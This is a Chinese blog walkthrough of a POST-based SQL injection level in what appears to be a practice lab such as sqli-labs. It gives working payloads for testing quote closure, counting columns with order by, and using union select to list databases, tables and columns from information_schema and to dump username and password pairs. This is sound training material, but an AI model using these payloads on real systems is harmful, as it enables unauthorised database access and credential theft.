这关采用post的方式传参
定闭合符
使用’ or 1=1 # 回显正常

使用" or 1=1 #,回显报错(可以尝试更多的闭合符,这里就不一一实现了)

实现原理

查询列数
admin’ order by 2 #

’ order by 3 #

所以有两列
找显示位

查数据库名
'union select 1,database()#

查表名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

查列名
' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

查列值
' union select 1,group_concat(username,0x3a,password) from users#

478

被折叠的 条评论
为什么被折叠?



